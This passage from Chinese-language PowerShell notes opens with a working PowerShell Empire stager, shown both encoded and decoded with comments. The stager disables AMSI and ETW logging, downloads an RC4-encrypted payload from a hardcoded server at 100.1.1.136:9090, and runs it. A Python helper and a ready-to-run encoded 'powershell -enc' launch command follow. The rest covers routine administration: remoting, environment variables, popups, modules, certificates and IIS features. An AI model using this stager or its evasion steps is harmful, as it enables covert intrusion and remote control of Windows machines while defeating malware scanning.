u0000E\u0000x\u0000p\u0000e\u0000c\u0000t\u00001\u00000\u00000\u0000C\u0000o\u0000n\u0000t\u0000i\u0000n\u0000u\u0000e\u0000=\u00000\u0000;\u0000$\u0000w\u0000c\u0000=\u0000N\u0000e\u0000w\u0000-\u0000O\u0000b\u0000j\u0000e\u0000c\u0000t\u0000 \u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000N\u0000e\u0000t\u0000.\u0000W\u0000e\u0000b\u0000C\u0000l\u0000i\u0000e\u0000n\u0000t\u0000;\u0000$\u0000u\u0000=\u0000'\u0000M\u0000o\u0000z\u0000i\u0000l\u0000l\u0000a\u0000/\u00005\u0000.\u00000\u0000 \u0000(\u0000W\u0000i\u0000n\u0000d\u0000o\u0000w\u0000s\u0000 \u0000N\u0000T\u0000 \u00006\u0000.\u00001\u0000;\u0000 \u0000W\u0000O\u0000W\u00006\u00004\u0000;\u0000 \u0000T\u0000r\u0000i\u0000d\u0000e\u0000n\u0000t\u0000/\u00007\u0000.\u00000\u0000;\u0000 \u0000r\u0000v\u0000:\u00001\u00001\u0000.\u00000\u0000)\u0000 \u0000l\u0000i\u0000k\u0000e\u0000 \u0000G\u0000e\u0000c\u0000k\u0000o\u0000'\u0000;\u0000$\u0000s\u0000e\u0000r\u0000=\u0000$\u0000(\u0000[\u0000T\u0000e\u0000x\u0000t\u0000.\u0000E\u0000n\u0000c\u0000o\u0000d\u0000i\u0000n\u0000g\u0000]\u0000:\u0000:\u0000U\u0000n\u0000i\u0000c\u0000o\u0000d\u0000e\u0000.\u0000G\u0000e\u0000t\u0000S\u0000t\u0000r\u0000i\u0000n\u0000g\u0000(\u0000[\u0000C\u0000o\u0000n\u0000v\u0000e\u0000r\u0000t\u0000]\u0000:\u0000:\u0000F\u0000r\u0000o\u0000m\u0000B\u0000a\u0000s\u0000e\u00006\u00004\u0000S\u0000t\u0000r\u0000i\u0000n\u0000g\u0000(\u0000'\u0000a\u0000A\u0000B\u00000\u0000A\u0000H\u0000Q\u0000A\u0000c\u0000A\u0000A\u00006\u0000A\u0000C\u00008\u0000A\u0000L\u0000w\u0000A\u0000x\u0000A\u0000D\u0000A\u0000A\u0000M\u0000A\u0000A\u0000u\u0000A\u0000D\u0000E\u0000A\u0000L\u0000g\u0000A\u0000x\u0000A\u0000C\u00004\u0000A\u0000M\u0000Q\u0000A\u0000z\u0000A\u0000D\u0000Y\u0000A\u0000O\u0000g\u0000A\u00005\u0000A\u0000D\u0000A\u0000A\u0000O\u0000Q\u0000A\u0000w\u0000A\u0000A\u0000=\u0000=\u0000'\u0000)\u0000)\u0000)\u0000;\u0000$\u0000t\u0000=\u0000'\u0000/\u0000l\u0000o\u0000g\u0000i\u0000n\u0000/\u0000p\u0000r\u0000o\u0000c\u0000e\u0000s\u0000s\u0000.\u0000p\u0000h\u0000p\u0000'\u0000;\u0000$\u0000w\u0000c\u0000.\u0000H\u0000e\u0000a\u0000d\u0000e\u0000r\u0000s\u0000.\u0000A\u0000d\u0000d\u0000(\u0000'\u0000U\u0000s\u0000e\u0000r\u0000-\u0000A\u0000g\u0000e\u0000n\u0000t\u0000'\u0000,\u0000$\u0000u\u0000)\u0000;\u0000$\u0000w\u0000c\u0000.\u0000P\u0000r\u0000o\u0000x\u0000y\u0000=\u0000[\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000N\u0000e\u0000t\u0000.\u0000W\u0000e\u0000b\u0000R\u0000e\u0000q\u0000u\u0000e\u0000s\u0000t\u0000]\u0000:\u0000:\u0000D\u0000e\u0000f\u0000a\u0000u\u0000l\u0000t\u0000W\u0000e\u0000b\u0000P\u0000r\u0000o\u0000x\u0000y\u0000;\u0000$\u0000w\u0000c\u0000.\u0000P\u0000r\u0000o\u0000x\u0000y\u0000.\u0000C\u0000r\u0000e\u0000d\u0000e\u0000n\u0000t\u0000i\u0000a\u0000l\u0000s\u0000 \u0000=\u0000 \u0000[\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000N\u0000e\u0000t\u0000.\u0000C\u0000r\u0000e\u0000d\u0000e\u0000n\u0000t\u0000i\u0000a\u0000l\u0000C\u0000a\u0000c\u0000h\u0000e\u0000]\u0000:\u0000:\u0000D\u0000e\u0000f\u0000a\u0000u\u0000l\u0000t\u0000N\u0000e\u0000t\u0000w\u0000o\u0000r\u0000k\u0000C\u0000r\u0000e\u0000d\u0000e\u0000n\u0000t\u0000i\u0000a\u0000l\u0000s\u0000;\u0000$\u0000S\u0000c\u0000r\u0000i\u0000p\u0000t\u0000:\u0000P\u0000r\u0000o\u0000x\u0000y\u0000 \u0000=\u0000 \u0000$\u0000w\u0000c\u0000.\u0000P\u0000r\u0000o\u0000x\u0000y\u0000;\u0000$\u0000K\u0000=\u0000[\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000T\u0000e\u0000x\u0000t\u0000.\u0000E\u0000n\u0000c\u0000o\u0000d\u0000i\u0000n\u0000g\u0000]\u0000:\u0000:\u0000A\u0000S\u0000C\u0000I\u0000I\u0000.\u0000G\u0000e\u0000t\u0000B\u0000y\u0000t\u0000e\u0000s\u0000(\u0000'\u0000H\u0000u\u0000v\u0000,\u00003\u0000g\u0000t\u0000s\u0000c\u0000}\u0000#\u0000_\u0000E\u0000:\u0000f\u0000F\u0000X\u0000w\u0000n\u00002\u0000b\u0000U\u0000P\u0000V\u0000|\u0000i\u0000M\u0000e\u00000\u0000+\u00005\u0000R\u0000'\u0000)\u0000;\u0000$\u0000R\u0000=\u0000{\u0000$\u0000D\u0000,\u0000$\u0000K\u0000=\u0000$\u0000A\u0000r\u0000g\u0000s\u0000;\u0000$\u0000S\u0000=\u00000\u0000.\u0000.\u00002\u00005\u00005\u0000;\u00000\u0000.\u0000.\u00002\u00005\u00005\u0000|\u0000%\u0000{\u0000$\u0000J\u0000=\u0000(\u0000$\u0000J\u0000+\u0000$\u0000S\u0000[\u0000$\u0000_\u0000]\u0000+\u0000$\u0000K\u0000[\u0000$\u0000_\u0000%\u0000$\u0000K\u0000.\u0000C\u0000o\u0000u\u0000n\u0000t\u0000]\u0000)\u0000%\u00002\u00005\u00006\u0000;\u0000$\u0000S\u0000[\u0000$\u0000_\u0000]\u0000,\u0000$\u0000S\u0000[\u0000$\u0000J\u0000]\u0000=\u0000$\u0000S\u0000[\u0000$\u0000J\u0000]\u0000,\u0000$\u0000S\u0000[\u0000$\u0000_\u0000]\u0000}\u0000;\u0000$\u0000D\u0000|\u0000%\u0000{\u0000$\u0000I\u0000=\u0000(\u0000$\u0000I\u0000+\u00001\u0000)\u0000%\u00002\u00005\u00006\u0000;\u0000$\u0000H\u0000=\u0000(\u0000$\u0000H\u0000+\u0000$\u0000S\u0000[\u0000$\u0000I\u0000]\u0000)\u0000%\u00002\u00005\u00006\u0000;\u0000$\u0000S\u0000[\u0000$\u0000I\u0000]\u0000,\u0000$\u0000S\u0000[\u0000$\u0000H\u0000]\u0000=\u0000$\u0000S\u0000[\u0000$\u0000H\u0000]\u0000,\u0000$\u0000S\u0000[\u0000$\u0000I\u0000]\u0000;\u0000$\u0000_\u0000-\u0000b\u0000x\u0000o\u0000r\u0000$\u0000S\u0000[\u0000(\u0000$\u0000S\u0000[\u0000$\u0000I\u0000]\u0000+\u0000$\u0000S\u0000[\u0000$\u0000H\u0000]\u0000)\u0000%\u00002\u00005\u00006\u0000]\u0000}\u0000}\u0000;\u0000$\u0000w\u0000c\u0000.\u0000H\u0000e\u0000a\u0000d\u0000e\u0000r\u0000s\u0000.\u0000A\u0000d\u0000d\u0000(\u0000\"\u0000C\u0000o\u0000o\u0000k\u0000i\u0000e\u0000\"\u0000,\u0000\"\u0000c\u0000H\u0000G\u0000A\u0000f\u0000d\u0000L\u0000Z\u0000D\u0000C\u0000E\u0000t\u0000L\u0000M\u0000K\u0000=\u0000l\u0000L\u0000q\u00008\u0000U\u0000w\u0000i\u0000E\u0000u\u0000z\u0000v\u0000I\u0000Q\u0000D\u00004\u0000j\u00007\u0000p\u00006\u0000I\u0000J\u0000s\u0000h\u0000i\u0000i\u00001\u0000E\u0000=\u0000\"\u0000)\u0000;\u0000$\u0000d\u0000a\u0000t\u0000a\u0000=\u0000$\u0000w\u0000c\u0000.\u0000D\u0000o\u0000w\u0000n\u0000l\u0000o\u0000a\u0000d\u0000D\u0000a\u0000t\u0000a\u0000(\u0000$\u0000s\u0000e\u0000r\u0000+\u0000$\u0000t\u0000)\u0000;\u0000$\u0000i\u0000v\u0000=\u0000$\u0000d\u0000a\u0000t\u0000a\u0000[\u00000\u0000.\u0000.\u00003\u0000]\u0000;\u0000$\u0000d\u0000a\u0000t\u0000a\u0000=\u0000$\u0000d\u0000a\u0000t\u0000a\u0000[\u00004\u0000.\u0000.\u0000$\u0000d\u0000a\u0000t\u0000a\u0000.\u0000l\u0000e\u0000n\u0000g\u0000t\u0000h\u0000]\u0000;\u0000-\u0000j\u0000o\u0000i\u0000n\u0000[\u0000C\u0000h\u0000a\u0000r\u0000[\u0000]\u0000]\u0000(\u0000&\u0000 \u0000$\u0000R\u0000 \u0000$\u0000d\u0000a\u0000t\u0000a\u0000 \u0000(\u0000$\u0000I\u0000V\u0000+\u0000$\u0000K\u0000)\u0000)\u0000|\u0000I\u0000E\u0000X\u0000"
+
里面的 \u0000
是原始命令 utf-16 le 编码后每个英文字符的低字节, powershell -enc
的传入参数即为这种 Base64 编码的 UTF-16 LE 编码的命令
这里直接 base64 解码后看到的这串字符可读性很差, 需要去掉 \u0000
再读, 甚至对于一些(在线的) base64 解码功能来讲, 可能解码后不支持 utf-16 le 的显示而出现乱码
可以使用如下脚本来构造这种编码的命令字符串
import base64
+
+def gen_enc_cmd ( plain_cmd: str ) - > str :
+ """将 cmd 先 Unicode(UTF-16 LE) 编码然后 base64 编码"""
+ return base64. b64encode( plain_cmd. encode( 'utf-16-le' ) ) . decode( )
+
+print ( gen_enc_cmd( 'dir' ) )
+
去除 \u0000
并规范化后得到:
# 检查 PowerShell 版本是否为 3 及以上
+If ($PSVersionTable.PSVersion.Major -ge 3) {
+ # 禁用 AMSI (Antimalware Scan Interface) 以规避潜在的扫描
+ $Ref = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');
+ $Ref.GetField('amsiInitFailed', 'NonPublic,Static').SetValue($Null, $true);
+
+ # 禁用 PowerShell 的 ETW (Event Tracing for Windows) 日志记录
+ [System.Diagnostics.Eventing.EventProvider].GetField('m_enabled', 'NonPublic,Instance').SetValue(
+ [Ref].Assembly.GetType(
+ 'System.Management.Automation.Tracing.PSEtwLogProvider'
+ ).GetField(
+ 'etwProvider', 'NonPublic,Static'
+ ).GetValue($null),
+ 0
+ );
+}
+
+# 禁用 HTTP 请求中的 "Expect: 100-Continue" 标头
+[System.Net.ServicePointManager]::Expect100Continue = 0;
+
+# 创建 System.Net.WebClient 类的新实例
+$wc = New-Object System.Net.WebClient;
+
+# 定义用于 HTTP 请求头的用户代理字符串
+$u = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
+
+# 解码并存储 base64 编码的服务器 URL
+# "h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u00001\u00000\u00000\u0000.\u00001\u0000.\u00001\u0000.\u00001\u00003\u00006\u0000:\u00009\u00000\u00009\u00000\u0000"
+# "http://100.1.1.136:9090"
+$ser = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwAxADAAMAAuADEALgAxAC4AMQAzADYAOgA5ADAAOQAwAA==')));
+
+# 定义目标 URL 路径
+$t = '/login/process.php';
+
+# 将用户代理标头添加到 Web 客户端
+$wc.Headers.Add('User-Agent', $u);
+
+# 配置 Web 客户端以使用默认的系统代理设置
+$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
+$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
+$Script:Proxy = $wc.Proxy;
+
+# 将加密密钥转换为 ASCII 字节
+$K = [System.Text.Encoding]::ASCII.GetBytes('Huv,3gtsc}#_E:fFXwn2bUPV|iMe0+5R');
+
+# 定义用于自定义加密算法的函数
+$R = {
+ $D, $K = $Args;
+ $S = 0..255;
+ 0..255 | % {
+ $J = ($J + $S[$_] + $K[$_ % $K.Count]) % 256;
+ $S[$_], $S[$J] = $S[$J], $S[$_];
+ };
+ $D | % {
+ $I = ($I + 1) % 256;
+ $H = ($H + $S[$I]) % 256;
+ $S[$I], $S[$H] = $S[$H], $S[$I];
+ $_ -bxor $S[($S[$I] + $S[$H]) % 256];
+ };
+};
+
+# 将特定的 Cookie 添加到 Web 客户端标头
+$wc.Headers.Add("Cookie", "cHGAfdLZDCEtLMK=lLq8UwiEuzvIQD4j7p6IJshii1E=");
+
+# 从指定的 URL 下载数据并将其存储在 $data 中
+$data = $wc.DownloadData($ser + $t);
+
+# 从下载的数据中提取初始化向量 (IV)
+$iv = $data[0..3];
+
+# 从下载的数据中移除 IV
+$data = $data[4..$data.length];
+
+# 使用自定义加密函数对数据进行解密并执行
+-join [Char[]](& $R $data ($IV + $K)) | IEX
+
+
将上述脚本重新放到编码脚本中跑一遍得到编码后的命令在命令行中执行:
powershell - noP - sta - w 1 - enc CgAjACAAwGjlZyAAUABvAHcAZQByAFMAaABlAGwAbAAgAEhyLGcvZiZUOk4gADMAIADKU+VOCk4KAEkAZgAgACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApACAAewAKACAAIAAgACAAIwAgAIF5KHUgAEEATQBTAEkAIAAoAEEAbgB0AGkAbQBhAGwAdwBhAHIAZQAgAFMAYwBhAG4AIABJAG4AdABlAHIAZgBhAGMAZQApACAA5U7EiX+QXG8oV4R2a2LPYwoAIAAgACAAIAAkAFIAZQBmACAAPQAgAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAOwAKACAAIAAgACAAJABSAGUAZgAuAEcAZQB0AEYAaQBlAGwAZAAoACcAYQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcALAAgACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdABWAGEAbAB1AGUAKAAkAE4AdQBsAGwALAAgACQAdAByAHUAZQApADsACgAKACAAIAAgACAAIwAgAIF5KHUgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIACEdiAARQBUAFcAIAAoAEUAdgBlAG4AdAAgAFQAcgBhAGMAaQBuAGcAIABmAG8AcgAgAFcAaQBuAGQAbwB3AHMAKQAgAOVl11+wi1VfCgAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgBHAGUAdABGAGkAZQBsAGQAKAAnAG0AXwBlAG4AYQBiAGwAZQBkACcALAAgACcATgBvAG4AUAB1AGIAbABpAGMALABJAG4AcwB0AGEAbgBjAGUAJwApAC4AUwBlAHQAVgBhAGwAdQBlACgACgAgACAAIAAgACAAIAAgACAAWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AVAByAGEAYwBpAG4AZwAuAFAAUwBFAHQAdwBMAG8AZwBQAHIAbwB2AGkAZABlAHIAJwAKACAAIAAgACAAIAAgACAAIAApAC4ARwBlAHQARgBpAGUAbABkACgACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAnAGUAdAB3AFAAcgBvAHYAaQBkAGUAcgAnACwAIAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwAKACAAIAAgACAAIAAgACAAIAApAC4ARwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACkALAAgAAoAIAAgACAAIAAgACAAIAAgADAACgAgACAAIAAgACkAOwAKAH0ACgAKACMAIACBeSh1IABIAFQAVABQACAA94tCbC1OhHYgACIARQB4AHAAZQBjAHQAOgAgADEAMAAwAC0AQwBvAG4AdABpAG4AdQBlACIAIAAHaDRZCgBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AEUAeABwAGUAYwB0ADEAMAAwAEMAbwBuAHQAaQBuAHUAZQAgAD0AIAAwADsACgAKACMAIAAbUvpeIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAIAB7fIR2sGWeW4tPCgAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsACgAKACMAIACaW0lOKHWOTiAASABUAFQAUAAgAPeLQmw0WYR2KHU3YuNOBnRXWyZ7Mk4KACQAdQAgAD0AIAAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsACgAKACMAIADjiQF4dl5YW6hQIABiAGEAcwBlADYANAAgABZ/AXiEdg1noVJoViAAVQBSAEwACgAjACAAIgBoAAAAdAAAAHQAAABwAAAAOgAAAC8AAAAvAAAAMQAAADAAAAAwAAAALgAAADEAAAAuAAAAMQAAAC4AAAAxAAAAMwAAADYAAAA6AAAAOQAAADAAAAA5AAAAMAAAACIACgAjACAAIgBoAHQAdABwADoALwAvADEAMAAwAC4AMQAuADEALgAxADMANgA6ADkAMAA5ADAAIgAKACQAcwBlAHIAIAA9ACAAJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABBAEEATQBBAEEAdQBBAEQARQBBAEwAZwBBAHgAQQBDADQAQQBNAFEAQQB6AEEARABZAEEATwBnAEEANQBBAEQAQQBBAE8AUQBBAHcAQQBBAD0APQAnACkAKQApADsACgAKACMAIACaW0lO7nYHaCAAVQBSAEwAIADvjYRfCgAkAHQAIAA9ACAAJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsACgAKACMAIAAGXCh1N2LjTgZ0B2g0WfttoFIwUiAAVwBlAGIAIACiWzdi73oKACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAgACQAdQApADsACgAKACMAIABNkW5/IABXAGUAYgAgAKJbN2LveuVOf08oddiepIuEdvt8337jTgZ0votufwoAJAB3AGMALgBQAHIAbwB4AHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQA7AAoAJAB3AGMALgBQAHIAbwB4AHkALgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AQwByAGUAZABlAG4AdABpAGEAbABDAGEAYwBoAGUAXQA6ADoARABlAGYAYQB1AGwAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgAeQA7AAoACgAjACAABlygUsZbxlullGyPYmM6TiAAQQBTAEMASQBJACAAV1uCggoAJABLACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAeQB0AGUAcwAoACcASAB1AHYALAAzAGcAdABzAGMAfQAjAF8ARQA6AGYARgBYAHcAbgAyAGIAVQBQAFYAfABpAE0AZQAwACsANQBSACcAKQA7AAoACgAjACAAmltJTih1jk7qgZpbSU6gUsZbl3vVbIR2/VFwZQoAJABSACAAPQAgAHsACgAgACAAIAAgACQARAAsACAAJABLACAAPQAgACQAQQByAGcAcwA7AAoAIAAgACAAIAAkAFMAIAA9ACAAMAAuAC4AMgA1ADUAOwAKACAAIAAgACAAMAAuAC4AMgA1ADUAIAB8ACAAJQAgAHsACgAgACAAIAAgACAAIAAgACAAJABKACAAPQAgACgAJABKACAAKwAgACQAUwBbACQAXwBdACAAKwAgACQASwBbACQAXwAgACUAIAAkAEsALgBDAG8AdQBuAHQAXQApACAAJQAgADIANQA2ADsACgAgACAAIAAgACAAIAAgACAAJABTAFsAJABfAF0ALAAgACQAUwBbACQASgBdACAAPQAgACQAUwBbACQASgBdACwAIAAkAFMAWwAkAF8AXQA7AAoAIAAgACAAIAB9ADsACgAgACAAIAAgACQARAAgAHwAIAAlACAAewAKACAAIAAgACAAIAAgACAAIAAkAEkAIAA9ACAAKAAkAEkAIAArACAAMQApACAAJQAgADIANQA2ADsACgAgACAAIAAgACAAIAAgACAAJABIACAAPQAgACgAJABIACAAKwAgACQAUwBbACQASQBdACkAIAAlACAAMgA1ADYAOwAKACAAIAAgACAAIAAgACAAIAAkAFMAWwAkAEkAXQAsACAAJABTAFsAJABIAF0AIAA9ACAAJABTAFsAJABIAF0ALAAgACQAUwBbACQASQBdADsACgAgACAAIAAgACAAIAAgACAAJABfACAALQBiAHgAbwByACAAJABTAFsAKAAkAFMAWwAkAEkAXQAgACsAIAAkAFMAWwAkAEgAXQApACAAJQAgADIANQA2AF0AOwAKACAAIAAgACAAfQA7AAoAfQA7AAoACgAjACAABlx5cppbhHYgAEMAbwBvAGsAaQBlACAA+22gUjBSIABXAGUAYgAgAKJbN2LvegdoNFkKACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBDAG8AbwBrAGkAZQAiACwAIAAiAGMASABHAEEAZgBkAEwAWgBEAEMARQB0AEwATQBLAD0AbABMAHEAOABVAHcAaQBFAHUAegB2AEkAUQBEADQAagA3AHAANgBJAEoAcwBoAGkAaQAxAEUAPQAiACkAOwAKAAoAIwAgAM5OB2OaW4R2IABVAFIATAAgAAtOfY9wZW5jdl4GXHZRWFuoUChXIAAkAGQAYQB0AGEAIAAtTgoAJABkAGEAdABhACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHMAZQByACAAKwAgACQAdAApADsACgAKACMAIADOTgtOfY+EdnBlbmMtTtBj1lMdUstZFlMRVM+RIAAoAEkAVgApAAoAJABpAHYAIAA9ACAAJABkAGEAdABhAFsAMAAuAC4AMwBdADsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAAoACgAjACAAzk4LTn2PhHZwZW5jLU77eWSWIABJAFYACgAkAGQAYQB0AGEAIAA9ACAAJABkAGEAdABhAFsANAAuAC4AJABkAGEAdABhAC4AbABlAG4AZwB0AGgAXQA7AAoACgAjACAAf08odeqBmltJTqBSxlv9UXBl+VtwZW5j249MiOOJxlt2XmdiTIgKAC0AagBvAGkAbgAgAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACAAKwAgACQASwApACkAIAB8ACAASQBFAFgACgAKAA==
+
然后即可在 Powershell Empire 的 Server 与 Client 上看到上线提醒与交互
远程连接 Enable-PSRemoting (Microsoft.PowerShell.Core) - PowerShell | Microsoft Learn --- 启用-PSRemoting (Microsoft.PowerShell.Core) - PowerShell |微软学习open in new window
WinRM の TrastedHosts にホストを追加 / 確認 / 削除する : Windows Tips | iPentecopen in new window
WS-Management (WSMan) Remoting in PowerShell - PowerShell | Microsoft Learn --- PowerShell 中的 WS-Management (WSMan) 远程处理 - PowerShell |微软学习open in new window
如果本地和远程都是 Windows 的话, 需要在本地和远程 Windows 上启用 PS Remoteing
然后将远程主机加入到本地 TrustedHosts 中来信任该远程主机
Set-Item wsman:\localhost\Client\TrustedHosts - Value "远程主机ip" - Force
+
连接远程主机:
$sess = New-PSSession - ComputerName [ 远程主机名或ip] - Credential domain\username
+
可以通过 Get-PSSession
来查看已建立的 session
要释放这个 session 可以使用 Remove-PSSession
命令
可以使用如下命令通过 powershell remote session 执行命令:
Invoke-Command - Session $sess - ScriptBlock {
+
+ pip - V
+}
+
可以看到无法识别 pip, 然而远程主机上是有 pip 的:
这是因为 PSSession 不会自动加载环境变量, 因此还需要加载一下环境变量, 以加载系统环境变量(而非用户环境变量) 为例
+$envVariables = [System.Environment] ::GetEnvironmentVariables( [System.EnvironmentVariableTarget] ::Machine)
+
+foreach ( $envVariable in $envVariables . GetEnumerator( ) ) {
+
+ if ( ! [string] ::IsNullOrWhiteSpace( $envVariable . Value) ) {
+
+ [System.Environment] ::SetEnvironmentVariable( $envVariable . Key, $envVariable . Value, [System.EnvironmentVariableTarget] ::Process )
+ }
+}
+
可以看到加载完环境变量就能成功识别 pip 了
此外, 如果明确知道只需要加载部分环境, 比如只需要加载系统环境中的 Path 变量的话就可以如下操作:
[System.Environment] ::SetEnvironmentVariable( "Path" , [System.Environment] ::GetEnvironmentVariable( "Path" , [System.EnvironmentVariableTarget] ::Machine) , [System.EnvironmentVariableTarget] ::Process )
+
制作提示窗口 PowerShell制作提示窗口_powershell怎么创建弹窗消息-CSDN博客open in new window
可以使用 WScript.Shell
对象制作消息弹窗
$ws = New-Object - ComObject WScript. Shell
+
然后使用期 Popup
方法进行弹窗
object. Popup( strText, [nSecondsToWait] , [strTitle] , [nType] )
+
strText
:消息窗口所包含的文本信息;nSecondsToWait
:等待n秒后该窗口自动关闭,如设置为0,则永不会自动关闭;strTitle
:消息窗口的标题;nType
:消息窗口的按钮类型及其图标按钮类型:
值 描述 0 显示“确定”按钮 1 显示“确定”+“取消”按钮 2 显示“终止”+“重试”+“忽略”按钮 3 显示“是”+“否”+“取消”按钮 4 显示“是”+“否”按钮 5 显示“重试”+“取消”按钮 6 显示“重试”+“取消”+“继续”按钮
图标类型:
例如:
$ws = New-Object - ComObject WScript. Shell
+$wsr = $ws . popup( "你好吗?" , 0, "我的窗口" , 1 + 16)
+
输出信息 Write-Host "未检测到Microsoft Word, 请稍后手动安装 >︿<" - ForegroundColor:Red - BackgroundColor:Black
+
模块 安装模块 Import-Module AtomicTestHarnesses
+
上述命令用于将计算机中已经存在的模块导入到当前 powershell 会话
Install-Module - Name AtomicTestHarnesses - Scope CurrentUser - Force
+
上述命令用于从 PowerShell Gallery(或其他源) 下载模块, 并将其安装在当前用户指定的范围中
-Force
表示即便模块已存在, 也会重新安装
证书 ssl - Adding Self Signed Certificate to trusted root certificate store using Command Line - Super User --- ssl-使用命令行将自签名证书添加到受信任的根证书存储 - 智库101 - 一个基于CC版权的问答分享平台open in new window
powershell - Import certificates using command line on Windows - Super User --- powershell - 在Windows上使用命令行导入证书 - 智库101 - 一个基于CC版权的问答分享平台open in new window
安装证书:
+$scriptParh = Split-Path - Parent $MyInvocation . MyCommand. Definition
+
+$caCertPath = Join-Path $scriptParh "\FileServer\key\ca\ca.crt"
+Import-Certificate - FilePath $caCertPath - CertStoreLocation Cert:\LocalMachine\Root
+Write-Host "已将 $caCertPath 安装到本地受信任的根证书颁发机构" - ForegroundColor:Green
+
其中 Cert:\LocalMachine\Root
对应下图中的 本地计算机
, 相应的 CurrentUser
对应 当前用户
可以使用 dir
命令来查看指定范围可用的证书存储, 例如:
dir cert:\\LocalMachine\Root
+
+Get-ChildItem - Path Cert:\LocalMachine\Root
+
启用或关闭 Windows 功能 在命令行中键入 OptionalFeatures
可以打开 启用或关闭 Windows 功能
页面
可以使用 Enable-WindowsOptionalFeature
命令启用 Windows 功能, 例如启用 IIS 这一串功能可以用下面的命令
Enable-WindowsOptionalFeature - Online - FeatureName IIS-WebServerRole, IIS-WebServer, IIS-CommonHttpFeatures, IIS-ManagementConsole, IIS-HttpErrors, IIS-HttpRedirect, IIS-WindowsAuthentication, IIS-StaticContent, IIS-DefaultDocument, IIS-HttpCompressionStatic, IIS-DirectoryBrowsing
+
IIS-WebServerRole
: 启用 Web 服务器角色,它是 IIS 的核心部分,用于托管网站和应用程序。
IIS-WebServer
: 启用 Web 服务器角色的子组件,包含 Web 服务器核心功能。
IIS-CommonHttpFeatures
: 启用通用 HTTP 功能,包括 HTTP 请求监控和其他基本的 HTTP 功能。
IIS-ManagementConsole
: 启用 IIS 管理控制台,这是用于配置和管理 IIS 的 GUI 工具。
IIS-HttpErrors
: 启用 HTTP 错误页面支持,用于自定义 HTTP 错误页面的设置。
IIS-HttpRedirect
: 启用 HTTP 重定向支持,用于配置 HTTP 重定向规则。
